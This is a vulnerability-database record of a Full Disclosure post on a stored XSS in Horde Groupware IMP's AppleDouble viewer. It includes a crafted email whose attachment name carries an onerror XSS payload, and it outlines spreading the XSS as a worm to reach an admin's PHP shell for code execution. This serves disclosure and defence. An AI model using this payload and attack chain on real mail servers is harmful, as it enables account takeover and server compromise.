GCVE-1988-2026-0380

Vulnerability from gna-1988 – Published: 2026-09-11 08:27 – Updated: 2026-09-11 08:27
VLAI
Title
FD - Half-click unauthenticated remote code execution on Horde Groupware IMP (from a stored XSS)
Summary
https://blog.evan.lat/posts/CVE-2026-65053/ the blog talks about two vulns that are chainable together. for the sake of brevity ill write up on the stored xss one. in lib/Mime/Status.php, we see a pretty viable xss sink: $out .= '<tr><td>' . $val . '</td></tr>'; xrefing this we see that most impls are sanitized with the exception of lib/Mime/Viewer/Appledouble.php: $data_name = $this->getConfigParam('imp_contents')->getPartName($data_part); // ... sprintf(_("This message contains a Macintosh file (named \"%s\")."), $data_name) exploiting this is trivial obviously. we just need to craft an email like this: From: d () x com To: victim () target com Subject: mac file MIME-Version: 1.0 Content-Type: multipart/appledouble; boundary="BOUND" --BOUND Content-Type: application/applefile Content-Transfer-Encoding: base64 cmVzb3VyY2UtZm9yay1ieXRlcw== --BOUND Content-Type: application/octet-stream; name="<img src=x onerror=alert('hi')>" Content-Disposition: attachment; filename="<img src=x onerror=alert('hu2')>" Content-Transfer-Encoding: base64 ZGF0YS1mb3JrLWJ5dGVz --BOUND-- given the nature of this xss it is very much wormable and turns our existing arb file read to a half click exploit. obviously we wouldnt really want to use a half click primitive just to read files (although grabbing db creds is very trivial with these two vulns chained), so naturally we can try to achieve rce with this xss worm primitive. to get an rce from this is easy. we can either target an admin or craft an xss worm thatll eventually reach an admin. admins can access a PHP shell which let us run arbitrary php code, so we can simply use the xss to hit the PHP shell at /horde/admin/phpshell.php this constitutes a half click since the user simply needs to click on the email to trigger the xss in question. an exp poc is provided in the blog. _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 556 records in the last 180 days details
References
Impacted products
Vendor Product Version CPE status
unknown FD - Half-click Affected: unknown
guessed Create a notification for this product.
Credits
Evan Tang
Relationships
analysis GCVE-1988-2026-0380 (this record)
To clipboard 

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "FD - Half-click",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Evan Tang"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "https://blog.evan.lat/posts/CVE-2026-65053/\n\nthe blog talks about two vulns that are chainable together. for the sake of\nbrevity ill write up on the stored xss one.\n\nin lib/Mime/Status.php, we see a pretty viable xss sink:\n\n$out .= \u0027\u003ctr\u003e\u003ctd\u003e\u0027 . $val . \u0027\u003c/td\u003e\u003c/tr\u003e\u0027;\n\nxrefing this we see that most impls are sanitized with the exception of\nlib/Mime/Viewer/Appledouble.php:\n\n$data_name = $this-\u003egetConfigParam(\u0027imp_contents\u0027)-\u003egetPartName($data_part);\n// ...\nsprintf(_(\"This message contains a Macintosh file (named \\\"%s\\\").\"),\n$data_name)\n\nexploiting this is trivial obviously. we just need to craft an email like\nthis:\n\nFrom: d () x com\nTo: victim () target com\nSubject: mac file\nMIME-Version: 1.0\nContent-Type: multipart/appledouble; boundary=\"BOUND\"\n\n--BOUND\nContent-Type: application/applefile\nContent-Transfer-Encoding: base64\n\ncmVzb3VyY2UtZm9yay1ieXRlcw==\n\n--BOUND\nContent-Type: application/octet-stream; name=\"\u003cimg src=x\nonerror=alert(\u0027hi\u0027)\u003e\"\nContent-Disposition: attachment; filename=\"\u003cimg src=x onerror=alert(\u0027hu2\u0027)\u003e\"\nContent-Transfer-Encoding: base64\n\nZGF0YS1mb3JrLWJ5dGVz\n\n--BOUND--\ngiven the nature of this xss it is very much wormable and turns our\nexisting arb file read to a half click exploit. obviously we wouldnt really\nwant to use a half click primitive just to read files (although grabbing db\ncreds is very trivial with these two vulns chained), so naturally we can\ntry to achieve rce with this xss worm primitive.\n\n\nto get an rce from this is easy. we can either target an admin or craft an\nxss worm thatll eventually reach an admin. admins can access a PHP shell\nwhich let us run arbitrary php code, so we can simply use the xss to hit\nthe PHP shell at /horde/admin/phpshell.php\n\n\nthis constitutes a half click since the user simply needs to click on the\nemail to trigger the xss in question. an exp poc is provided in the blog.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T08:27:55Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/115"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/115"
        },
        {
          "url": "https://blog.evan.lat/posts/CVE-2026-65053/"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/115"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "FD - Half-click unauthenticated remote code execution on Horde Groupware IMP (from a stored XSS)",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-65053",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0380",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/115",
            "automated": true,
            "contentSha256": "994cae962871473fc31c842afa1725265e1e9be8bc37bb82c27388c4c46efad8",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/115",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-24T16:24:09Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0380"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T08:27:55Z",
    "dateUpdated": "2026-09-11T08:27:55Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0380"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Loading timeline…




    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.